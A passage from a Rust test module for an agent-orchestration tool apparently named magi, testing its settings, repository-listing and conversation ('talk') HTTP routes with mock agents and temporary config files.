14399            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14400        );
14401        let root = tmp.path().join("roots");
14402        let selected = root.join("host/owner/selected");
14403        settings_checkout(
14404            &selected,
14405            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14406        )
14407        .await;
14408        let broken = root.join("host/owner/broken");
14409        settings_checkout(&broken, "[roles\nbroken").await;
14410        let machine_text = format!(
14411            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14412            toml::Value::String(root.display().to_string())
14413        );
14414        std::fs::write(&machine, &machine_text).unwrap();
14415        let originals: Vec<_> = [&repo, &selected, &broken]
14416            .iter()
14417            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14418            .collect();
14419        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14420        let default = f.get("/api/settings").await.json();
14421        assert_eq!(
14422            default["repo"],
14423            repo.canonicalize().unwrap().display().to_string()
14424        );
14425        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14426        let query = format!("?repo={}", selected.display());
14427        let res = f.get(&format!("/api/settings{query}")).await;
14428        assert_eq!(res.status, 200, "{}", res.body);
14429        let v = res.json();
14430        assert!(v["error"].is_null(), "{v}");
14431        assert_eq!(v["repositories"], default["repositories"]);
14432        let role = |key: &str| {
14433            v["roles"]
14434                .as_array()
14435                .unwrap()
14436                .iter()
14437                .find(|r| r["key"] == key)
14438                .unwrap()
14439        };
14440        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14441        assert_eq!(role("advisors")["source"], "repo");
14442        assert_eq!(role("advisors")["editable"], false);
14443        assert!(role("advisors")["machine_value"].is_null());
14444        assert_eq!(role("judges")["count"]["value"], 2);
14445        assert_eq!(role("judges")["count"]["machine_value"], 1);
14446        assert_eq!(role("judges")["count"]["source"], "repo");
14447        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14448        assert!(
14449            source.contains("origin/main") && !source.contains("magi/config/"),
14450            "{source}"
14451        );
14452        assert_eq!(
14453            role("reviewers")["editable"],
14454            false,
14455            "default context outside roots must protect its declarations"
14456        );
14457        let body =
14458            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14459        let unknown = format!("?repo={}", tmp.path().display());
14460        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14461        assert_eq!(
14462            f.put(&format!("/api/settings/roles{unknown}"), &body)
14463                .await
14464                .status,
14465            422
14466        );
14467        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14468        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14469            .to_string();
14470        assert_eq!(
14471            f.put(&format!("/api/settings/roles{query}"), &refuse)
14472                .await
14473                .status,
14474            422
14475        );
14476        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14477        assert_eq!(saved.status, 200, "{}", saved.body);
14478        assert_eq!(saved.json()["repo"], v["repo"]);
14479        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14480        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14481        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14482            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14483        }
14484        let error = f
14485            .get(&format!("/api/settings?repo={}", broken.display()))
14486            .await;
14487        assert_eq!(error.status, 200);
14488        assert!(error.json()["error"]["message"].is_string());
14489        assert_eq!(error.json()["repositories"], default["repositories"]);
14490    }
14491
14492    #[tokio::test]
14493    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14494        let (_tmp, repo, machine) =
14495            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14496        let f = Fixture::with_repo_and_machine(repo, machine).await;
14497        let res = f.get("/api/settings").await;
14498        assert_eq!(res.status, 200, "{}", res.body);
14499        let v = res.json();
14500        assert!(v["error"].is_null(), "{v}");
14501        let role = |k: &str| {
14502            v["roles"]
14503                .as_array()
14504                .and_then(|r| r.iter().find(|x| x["key"] == k))
14505                .cloned()
14506                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14507        };
14508        assert_eq!(role("judges")["source"], "machine");
14509        assert_eq!(role("judges")["editable"], true);
14510        assert_eq!(role("implementers")["source"], "default");
14511        let adv = role("advisors");
14512        assert_eq!(adv["fallback"], "judges");
14513        assert!(
14514            adv["seats"]
14515                .as_array()
14516                .is_some_and(|s| s.iter().all(|x| x == "b")),
14517            "{adv}"
14518        );
14519        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14520        assert_eq!(v["agents"][0]["source"], "repo");
14521    }
14522
14523    #[tokio::test]
14524    async fn settings_get_reports_a_config_that_does_not_parse() {
14525        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14526        let f = Fixture::with_repo_and_machine(repo, machine).await;
14527        let res = f.get("/api/settings").await;
14528        assert_eq!(res.status, 200, "{}", res.body);
14529        let v = res.json();
14530        assert!(v["error"]["message"].is_string(), "{v}");
14531        assert!(
14532            v["error"]["path"]
14533                .as_str()
14534                .is_some_and(|p| p.ends_with("magi.toml")),
14535            "{v}"
14536        );
14537        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14538    }
14539
14540    #[tokio::test]
14541    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14542        let (_tmp, repo, machine) = settings_dirs(
14543            SETTINGS_AGENTS,
14544            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14545        );
14546        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14547        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14548        let rev = f.get("/api/settings").await.json()["revision"]
14549            .as_str()
14550            .expect("revision")
14551            .to_owned();
14552        let body = serde_json::json!({
14553            "revision": rev,
14554            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14555        })
14556        .to_string();
14557        let res = f.put("/api/settings/roles", &body).await;
14558        assert_eq!(res.status, 200, "{}", res.body);
14559        let text = std::fs::read_to_string(&machine).expect("machine");
14560        assert_eq!(
14561            text,
14562            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14563        );
14564        assert_eq!(
14565            std::fs::read(repo.join("magi.toml")).expect("read"),
14566            repo_before
14567        );
14568        let again = f.get("/api/settings").await.json();
14569        let judges = again["roles"]
14570            .as_array()
14571            .expect("roles")
14572            .iter()
14573            .find(|r| r["key"] == "judges")
14574            .expect("judges")
14575            .clone();
14576        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14577        // The old revision is now stale.
14578        let stale = f.put("/api/settings/roles", &body).await;
14579        assert_eq!(stale.status, 409, "{}", stale.body);
14580    }
14581
14582    #[tokio::test]
14583    async fn settings_counts_are_reported_and_saved() {
14584        let (_tmp, repo, machine) = settings_dirs(
14585            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14586            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14587        );
14588        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14589        let v = f.get("/api/settings").await.json();
14590        let count = |v: &serde_json::Value, k: &str| {
14591            v["roles"]
14592                .as_array()
14593                .and_then(|r| r.iter().find(|x| x["key"] == k))
14594                .map(|x| x["count"].clone())
14595                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14596        };
14597        let imp = count(&v, "implementers");
14598        assert_eq!(imp["value"], 2);
14599        assert_eq!(imp["source"], "machine");
14600        assert_eq!(imp["file_key"], "candidates");
14601        assert_eq!(imp["roster_len"], 2);
14602        assert_eq!(imp["backups"], 0);
14603        assert_eq!(count(&v, "judges")["source"], "default");
14604        assert_eq!(count(&v, "advisors")["min"], 0);
14605        assert_eq!(count(&v, "reviewers")["editable"], false);
14606        assert!(
14607            count(&v, "reviewers")["locked_reason"]
14608                .as_str()
14609                .is_some_and(|m| m.contains("graph.reviewers"))
14610        );
14611        assert!(count(&v, "fixer").is_null());
14612        let rev = v["revision"].as_str().expect("revision").to_owned();
14613        let body = serde_json::json!({
14614            "revision": rev,
14615            "roles": { "judges": ["b"] },
14616            "counts": { "implementers": 1, "advisors": 0 }
14617        })
14618        .to_string();
14619        let res = f.put("/api/settings/roles", &body).await;
14620        assert_eq!(res.status, 200, "{}", res.body);
14621        let text = std::fs::read_to_string(&machine).expect("machine");
14622        assert_eq!(
14623            text,
14624            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14625        );
14626        let after = f.get("/api/settings").await.json();
14627        assert_eq!(count(&after, "implementers")["value"], 1);
14628        assert_eq!(count(&after, "implementers")["backups"], 1);
14629        assert_eq!(count(&after, "advisors")["value"], 0);
14630        let before = std::fs::read_to_string(&machine).expect("machine");
14631        let rev = after["revision"].as_str().expect("revision").to_owned();
14632        for counts in [
14633            serde_json::json!({ "judges": 0 }),
14634            serde_json::json!({ "judges": "x" }),
14635            serde_json::json!({ "judges": 2.5 }),
14636            serde_json::json!({ "judges": -1 }),
14637            serde_json::json!({ "reviewers": 3 }),
14638            serde_json::json!({ "bogus": 3 }),
14639        ] {
14640            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14641            let res = f.put("/api/settings/roles", &body).await;
14642            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14643            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14644        }
14645    }
14646
14647    #[tokio::test]
14648    async fn settings_put_refuses_without_touching_the_file() {
14649        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14650        let (_tmp, repo, machine) = settings_dirs(
14651            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14652            Some(machine_text),
14653        );
14654        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14655        let rev = f.get("/api/settings").await.json()["revision"]
14656            .as_str()
14657            .expect("revision")
14658            .to_owned();
14659        for roles in [
14660            serde_json::json!({ "judges": ["nope"] }),
14661            serde_json::json!({ "reviewers": ["b"] }),
14662            serde_json::json!({ "bogus": ["a"] }),
14663        ] {
14664            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14665            let res = f.put("/api/settings/roles", &body).await;
14666            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14667            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14668            assert_eq!(
14669                std::fs::read_to_string(&machine).expect("machine"),
14670                machine_text
14671            );
14672        }
14673    }
14674
14675    #[tokio::test]
14676    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14677        let tmp = TempDir::new().expect("tempdir");
14678        let repo = tmp.path().join("repo");
14679        std::fs::create_dir_all(&repo).expect("repo dir");
14680        let root = tmp.path().join("root");
14681        make_checkout(&root, "github.com", "yukimemi", "magi");
14682        std::fs::write(
14683            repo.join("magi.toml"),
14684            format!(
14685                "[repos]\nroots = [{:?}]\n",
14686                root.to_string_lossy().into_owned()
14687            ),
14688        )
14689        .expect("write magi.toml");
14690
14691        let f = Fixture::with_repo(repo).await;
14692        let res = f.get("/api/repos").await;
14693        assert_eq!(res.status, 200, "{}", res.body);
14694        let list = res.json();
14695        let repos = list.as_array().expect("an array");
14696        assert_eq!(repos.len(), 1);
14697        assert_eq!(repos[0]["name"], "yukimemi/magi");
14698        assert!(
14699            repos[0]["path"]
14700                .as_str()
14701                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14702            "{list}"
14703        );
14704    }
14705
14706    #[tokio::test]
14707    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14708        let tmp = TempDir::new().expect("tempdir");
14709        let repo = tmp.path().join("repo");
14710        std::fs::create_dir_all(&repo).expect("repo dir");
14711        let root = tmp.path().join("root");
14712        make_checkout(&root, "github.com", "yukimemi", "magi");
14713        std::fs::write(
14714            repo.join("magi.toml"),
14715            format!(
14716                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14717                root.to_string_lossy().into_owned()
14718            ),
14719        )
14720        .expect("write magi.toml");
14721
14722        let f = Fixture::with_repo(repo).await;
14723        let first = f.get("/api/repos").await;
14724        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14725
14726        // A second checkout appears; within the TTL the cached answer must
14727        // not notice it.
14728        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14729        let second = f.get("/api/repos").await;
14730        assert_eq!(
14731            second.json().as_array().map(Vec::len),
14732            Some(1),
14733            "a fresh cache must not rescan inside the TTL"
14734        );
14735
14736        let refreshed = f.get("/api/repos?refresh=1").await;
14737        assert_eq!(
14738            refreshed.json().as_array().map(Vec::len),
14739            Some(2),
14740            "an explicit refresh must rescan even inside the TTL"
14741        );
14742    }
14743
14744    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14745    /// string, declared straight in a repository's own `magi.toml` rather
14746    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14747    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14748    /// this is safe to run over a real HTTP round trip.
14749    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14750
14751    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14752    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14753    /// even though it takes no turn, and `talk_say` invokes one.
14754    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14755        let tmp = TempDir::new().expect("tempdir");
14756        let repo = tmp.path().join("repo");
14757        std::fs::create_dir_all(&repo).expect("repo dir");
14758        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14759        let f = Fixture::with_repo(repo.clone()).await;
14760        (tmp, repo, f)
14761    }
14762
14763    #[tokio::test]
14764    async fn posting_a_talk_with_remembered_choices_is_soft() {
14765        let (_tmp, _repo, f) = talk_fixture().await;
14766
14767        let good = f
14768            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14769            .await;
14770        assert_eq!(good.status, 201, "{}", good.body);
14771        assert_eq!(good.json()["persona"], "rei");
14772
14773        // Wrong values and wrong types are dropped one by one, never a 4xx.
14774        let stale = f
14775            .post(
14776                "/api/talks",
14777                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14778            )
14779            .await;
14780        assert_eq!(stale.status, 201, "{}", stale.body);
14781        let v = stale.json();
14782        assert_eq!(v["implementers"], 1);
14783        assert_ne!(v["persona"], "nobody");
14784        let typed = f
14785            .post(
14786                "/api/talks",
14787                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14788            )
14789            .await;
14790        assert_eq!(typed.status, 201, "{}", typed.body);
14791
14792        // The strict `agent` field still refuses an unknown id.
14793        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14794        assert!(
14795            !strict.status.to_string().starts_with('2'),
14796            "{}",
14797            strict.body
14798        );
14799    }
14800
14801    #[tokio::test]
14802    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14803        let (_tmp, _repo, f) = talk_fixture().await;
14804
14805        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14806        // is the ordinary way a phone opens a talk.
14807        let opened = f.post("/api/talks", None).await;
14808        assert_eq!(opened.status, 201, "{}", opened.body);
14809        let body = opened.json();
14810        assert_eq!(body["status"], "open");
14811        assert_eq!(
14812            body["turns"].as_array().unwrap().len(),
14813            0,
14814            "opening takes no agent turn: there is nothing yet to answer"
14815        );
14816
14817        // An explicit empty object is the same request as none at all.
14818        let also_opened = f.post("/api/talks", Some("{}")).await;
14819        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14820
14821        let listed = f.get("/api/talks").await.json();
14822        assert_eq!(listed.as_array().unwrap().len(), 2);
14823    }
14824
14825    #[tokio::test]
14826    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14827        let tmp = TempDir::new().expect("tempdir");
14828        let repo = tmp.path().join("repo");
14829        std::fs::create_dir_all(&repo).expect("repo dir");
14830        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14831        std::fs::write(
14832            repo.join("magi.toml"),
14833            format!("{MOCK_AGENT_TOML}\n{second}"),
14834        )
14835        .expect("write magi.toml");
14836        let home = TempDir::new().expect("temp home");
14837        let talks = Talks::at(home.path().join("talks"));
14838        let ui = Arc::new(
14839            Ui::new(
14840                Queue::at(home.path().join("queue")),
14841                Questions::at(home.path().join("questions")),
14842                talks.clone(),
14843                home.path().join("runs"),
14844                home.path().to_path_buf(),
14845                repo.clone(),
14846            )
14847            .with_worktrees_root(home.path().join("wt")),
14848        );
14849        let cfg = config_for(&repo).await.expect("discover config");
14850        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14851        let id = talk.id.clone();
14852        let call = |agent: &str| {
14853            talk_agent(
14854                State(Arc::clone(&ui)),
14855                Path(id.clone()),
14856                Json(TalkAgent {
14857                    agent: agent.to_owned(),
14858                }),
14859            )
14860        };
14861
14862        let unknown = call("nobody").await.expect_err("unknown agent");
14863        assert_eq!(
14864            unknown.status,
14865            StatusCode::BAD_REQUEST,
14866            "{}",
14867            unknown.message
14868        );
14869
14870        {
14871            // Nothing refused so far took a claim, so the guard is free to take
14872            // and holding it is what makes the talk busy.
14873            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14874            let busy = call("second").await.expect_err("busy talk");
14875            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14876            assert!(
14877                busy.message.contains("a talk turn is running"),
14878                "{}",
14879                busy.message
14880            );
14881            drop(guard);
14882        }
14883        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14884
14885        let Json(view) = call("second").await.expect("switch");
14886        assert_eq!(view.talk.agent, "second");
14887        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14888        let saved = talks.get(&id).expect("reload");
14889        assert_eq!(saved.agent, "second");
14890        assert_eq!(saved.turns.len(), 1);
14891        assert!(!view.thinking);
14892        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14893        for agent in ["mock", "second"] {
14894            let Json(view) = call(agent).await.expect("immediate consecutive change");
14895            assert_eq!(view.talk.agent, agent);
14896            assert!(!view.thinking);
14897            assert!(!ui.is_thinking(&id));
14898        }
14899
14900        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14901            .await
14902            .expect("detail");
14903        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14904        assert_eq!(roster, ["mock", "second"]);
14905
14906        let mut closed = talks.get(&id).expect("reload");
14907        talk::close(&mut closed, &talks).expect("close");
14908        let refused = call("mock").await.expect_err("closed talk");
14909        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14910        assert!(
14911            refused.message.contains("takes no more turns"),
14912            "{}",
14913            refused.message
14914        );
14915    }
14916
14917    #[tokio::test]
14918    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14919        let tmp = TempDir::new().expect("tempdir");
14920        let repo = tmp.path().join("repo");
14921        std::fs::create_dir_all(&repo).expect("repo dir");
14922        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14923        let home = TempDir::new().expect("temp home");
14924        let talks = Talks::at(home.path().join("talks"));
14925        let ui = Arc::new(
14926            Ui::new(
14927                Queue::at(home.path().join("queue")),
14928                Questions::at(home.path().join("questions")),
14929                talks.clone(),
14930                home.path().join("runs"),
14931                home.path().to_path_buf(),
14932                repo.clone(),
14933            )
14934            .with_worktrees_root(home.path().join("wt")),
14935        );
14936        let cfg = config_for(&repo).await.expect("discover config");
14937        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14938        let id = talk.id.clone();
14939        let call = |n: u8| {
14940            talk_implementers(
14941                State(Arc::clone(&ui)),
14942                Path(id.clone()),
14943                Json(TalkImplementers { implementers: n }),
14944            )
14945        };
14946
14947        for bad in [0u8, 4] {
14948            let e = call(bad).await.expect_err("out of range");
14949            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14950        }
14951        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14952
14953        {
14954            // Nothing refused so far took a claim, so the guard is free to take
14955            // and holding it is what makes the talk busy.
14956            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14957            let busy = call(2).await.expect_err("busy talk");
14958            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14959            assert!(
14960                busy.message.contains("a talk turn is running"),
14961                "{}",
14962                busy.message
14963            );
14964            drop(guard);
14965        }
14966
14967        let Json(view) = call(3).await.expect("switch");
14968        assert_eq!(view.talk.implementers, 3);
14969        assert!(talks.get(&id).expect("reload").implementers_dirty);
14970        assert!(!view.thinking);
14971        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14972        for n in [1, 2, 3] {
14973            let Json(view) = call(n).await.expect("immediate consecutive change");
14974            assert_eq!(view.talk.implementers, n);
14975            assert!(!view.thinking);
14976            assert!(!ui.is_thinking(&id));
14977        }
14978
14979        let mut closed = talks.get(&id).expect("reload");
14980        talk::close(&mut closed, &talks).expect("close");
14981        let e = call(2).await.expect_err("closed talk");
14982        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14983        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14984    }
14985
14986    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14987    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14988        let tmp = TempDir::new().expect("tempdir");
14989        let repo = tmp.path().join("repo");
14990        std::fs::create_dir_all(&repo).expect("repo dir");
14991        std::fs::write(
14992            repo.join("magi.toml"),
14993            format!("{MOCK_AGENT_TOML}\n{extra}"),
14994        )
14995        .expect("write magi.toml");
14996        let home = TempDir::new().expect("temp home");
14997        let talks = Talks::at(home.path().join("talks"));
14998        let ui = Arc::new(
14999            Ui::new(
15000                Queue::at(home.path().join("queue")),
15001                Questions::at(home.path().join("questions")),
15002                talks.clone(),
15003                home.path().join("runs"),
15004                home.path().to_path_buf(),
15005                repo.clone(),
15006            )
15007            .with_worktrees_root(home.path().join("wt")),
15008        );
15009        let cfg = config_for(&repo).await.expect("discover config");
15010        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15011        (tmp, home, ui, talk.id, repo)
15012    }
15013
15014    #[tokio::test]
15015    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15016        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15017        let mut conversation = ui.talks.get(&id).unwrap();
15018        talk::record(
15019            &mut conversation,
15020            &ui.talks,
15021            "# Update on a task you filed\noperator words",
15022            vec![],
15023        )
15024        .unwrap();
15025        // Simulate an old operator record; headings do not prove authorship.
15026        conversation.turns[0].sender = None;
15027        conversation.turns[0].messages.clear();
15028        ui.talks.put(&mut conversation).unwrap();
15029        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15030        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15031        talk::drain(&mut conversation, &ui.talks).unwrap();
15032        talk::record_reply(
15033            &mut conversation,
15034            &ui.talks,
15035            "about that report",
15036            vec![],
15037            Some(talk::ReplyTarget {
15038                turn: 1,
15039                message: 1,
15040            }),
15041        )
15042        .unwrap();
15043        conversation.turns[2].messages[0]
15044            .reply
15045            .as_mut()
15046            .unwrap()
15047            .sender = None;
15048        conversation.turns.push(talk::Turn {
15049            sender: Some(talk::Sender::Persona),
15050            who: talk::Who::Agent,
15051            body: "magi: actual persona words".into(),
15052            at: Timestamp::now(),
15053            attachments: vec![],
15054            usage: None,
15055            breaks: None,
15056            messages: vec![],
15057            posted_by: None,
15058        });
15059        ui.talks.put(&mut conversation).unwrap();
15060        let view = TalkView::with_config(
15061            ui.talks.get(&id).unwrap(),
15062            false,
15063            None,
15064            &ui.home,
15065            &ui.references,
15066        );
15067        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15068        assert_eq!(
15069            view.talk.turns[1].messages[0].sender,
15070            Some(talk::Sender::Operator)
15071        );
15072        assert_eq!(
15073            view.talk.turns[1].messages[1].sender,
15074            Some(talk::Sender::Magi)
15075        );
15076        assert_eq!(
15077            view.talk.turns[2].messages[0]
15078                .reply
15079                .as_ref()
15080                .unwrap()
15081                .sender,
15082            Some(talk::Sender::Magi)
15083        );
15084        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15085        assert_eq!(view.turn_messages_md[0].len(), 1);
15086        assert!(view.turn_messages_md[0][0].is_none());
15087        assert!(view.turn_messages_md[1][0].is_none());
15088        assert!(view.turn_messages_md[1][1].is_some());
15089    }
15090
15091    #[tokio::test]
15092    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15093        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15094        let mut conversation = ui.talks.get(&id).unwrap();
15095        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15096        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15097        talk::queue_notice(
15098            &mut conversation,
15099            &ui.talks,
15100            &body,
15101            "watch:123",
15102            &|_| false,
15103            crate::chat_control::standing::Event::Watch {
15104                id: "watch-123".into(),
15105            },
15106            display.clone(),
15107        )
15108        .unwrap();
15109        assert!(
15110            !talk::queue_notice(
15111                &mut conversation,
15112                &ui.talks,
15113                &body,
15114                "watch:123",
15115                &|_| false,
15116                crate::chat_control::standing::Event::Watch {
15117                    id: "watch-123".into()
15118                },
15119                display.clone()
15120            )
15121            .unwrap()
15122        );
15123        let saved = ui.talks.get(&id).unwrap();
15124        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15125        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15126        assert!(
15127            view.talk.turns[0].messages[0].display.is_none(),
15128            "operator copy stays literal"
15129        );
15130        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15131        assert!(view.turn_messages_md[0][0].is_none());
15132        let queued_md = view.pending_messages_md[0].clone();
15133        assert_eq!(
15134            queued_md,
15135            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15136        );
15137        talk::drain(&mut conversation, &ui.talks).unwrap();
15138        talk::record_reply(
15139            &mut conversation,
15140            &ui.talks,
15141            "Explain",
15142            vec![],
15143            Some(talk::ReplyTarget {
15144                turn: 1,
15145                message: 0,
15146            }),
15147        )
15148        .unwrap();
15149        let mut saved = ui.talks.get(&id).unwrap();
15150        assert_eq!(saved.turns[1].messages[0].body, body);
15151        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15152        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15153        assert!(!reply.excerpt.contains("automatic report"));
15154        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15155        saved.turns[1].messages[0].display = None; // old MAGI send
15156        ui.talks.put(&mut saved).unwrap();
15157        let view = TalkView::with_config(
15158            ui.talks.get(&id).unwrap(),
15159            false,
15160            None,
15161            &ui.home,
15162            &ui.references,
15163        );
15164        assert_eq!(view.turn_messages_md[1][0], queued_md);
15165        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15166        assert!(
15167            !view.talk.turns[2].messages[0]
15168                .reply
15169                .as_ref()
15170                .unwrap()
15171                .excerpt
15172                .contains("automatic report")
15173        );
15174        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15175    }
15176
15177    #[tokio::test]
15178    async fn consultation_display_hides_directives_in_queue_and_history() {
15179        for node in [
15180            "implement",
15181            crate::land::APPROVAL_NODE,
15182            crate::github_text::ASK_NODE,
15183        ] {
15184            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15185            let mut question = Question::new(
15186                "run-123".into(),
15187                node.into(),
15188                "seat-1".into(),
15189                "Which backend?".into(),
15190                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15191                vec!["SQLite".into(), "Redis".into()],
15192            );
15193            ui.questions.put(&mut question).unwrap();
15194            let body = crate::prompt::chat_consult(&question);
15195            let mut conversation = ui.talks.get(&id).unwrap();
15196            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15197            assert!(
15198                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15199            );
15200            conversation = ui.talks.get(&id).unwrap();
15201            assert_eq!(conversation.pending_messages[0].body, body);
15202            assert!(body.contains("magi answer"));
15203            let mut legacy_pending = conversation.clone();
15204            legacy_pending.pending_messages[0].display = None;
15205            let legacy_view =
15206                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15207            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15208            assert!(legacy_md.contains("Question consultation"));
15209            assert!(!legacy_md.contains("magi answer"));
15210            let view =
15211                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15212            assert!(
15213                view.turn_messages_md[0][0].is_none(),
15214                "operator copy stays literal"
15215            );
15216            let queued_md = view.pending_messages_md[0].clone().unwrap();
15217            let rendered = serde_json::to_string(&queued_md).unwrap();
15218            for visible in [
15219                "Which backend?",
15220                "Context",
15221                "storage",
15222                "SQLite",
15223                "Redis",
15224                "<script>literal</script>",
15225            ] {
15226                assert!(rendered.contains(visible), "missing {visible}");
15227            }
15228            for directive in [
15229                "What to do",
15230                "magi answer",
15231                "Never answer it yourself",
15232                "Do not edit the repository",
15233            ] {
15234                assert!(!rendered.contains(directive), "exposed {directive}");
15235            }
15236            assert_eq!(
15237                view.talk.pending_messages[0].display,
15238                Some(crate::prompt::chat_consult_display(&question))
15239            );
